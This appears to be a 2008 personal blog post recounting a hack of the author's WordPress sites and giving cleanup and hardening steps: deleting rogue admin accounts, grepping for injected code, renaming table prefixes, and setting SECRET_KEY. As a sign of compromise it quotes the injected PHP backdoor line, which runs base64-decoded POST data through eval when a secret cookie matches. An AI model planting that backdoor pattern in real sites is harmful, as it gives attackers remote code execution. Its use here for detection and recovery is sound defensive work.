Steve Taylor photo

WordPress security

My server was recently subject to a hack attack. In some senses it was pretty serious—many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).

Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

NOTE: This post contains some good WordPress security tips, but in response to a specific hacks. For a more general, comprehensive run-down of solid WordPress security measures, see this post.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

  • New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
  • The main WP index.php changed to look like this:
    <?php if(md5($_COOKIE&#91;'_wp_debugger'&#93;)==
    &quot;&#91;long hash string here&#93;&quot;){ eval(base64_decode($_POST&#91;'file'&#93;)); exit; } ?><?php
    /* Short and sweet */
    if (isset($_GET&#91;'license'&#93;)) {
    } else {
    	define('WP_USE_THEMES', true);
  • That top line of PHP code was inserted into many other files.
  • A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
  • In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

  1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
  2. SSH into your server and search for offending code. I found the following commands useful:
    grep --recursive "eval(base64_decode($_POST['file']));" *
    grep --recursive "" *
    grep --recursive "find suid files" *

    These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

  3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

  1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
  2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
  3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
  4. Change all WP user account passwords.
  5. Heck, change any other passwords too (like FTP).
  6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
    1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
    2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)
      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = "SELECT ID, post_title FROM wp_posts WHERE post_status = 'publish'";

      Should become:

      $sql = "SELECT ID, post_title FROM ".$wpdb->prefix."posts WHERE post_status = 'publish'";

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_‘s too.

    3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
    4. Likewise for all meta_key values in the usermeta table that start with wp_.
  7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5’s new file:

// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,
// so make it long and complicated.  You can visit
// to get a phrase generated for you, or just make something up.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define('DB_CHARSET', 'utf8');

Comment it out like this:

//define('DB_CHARSET', 'utf8');

Good luck!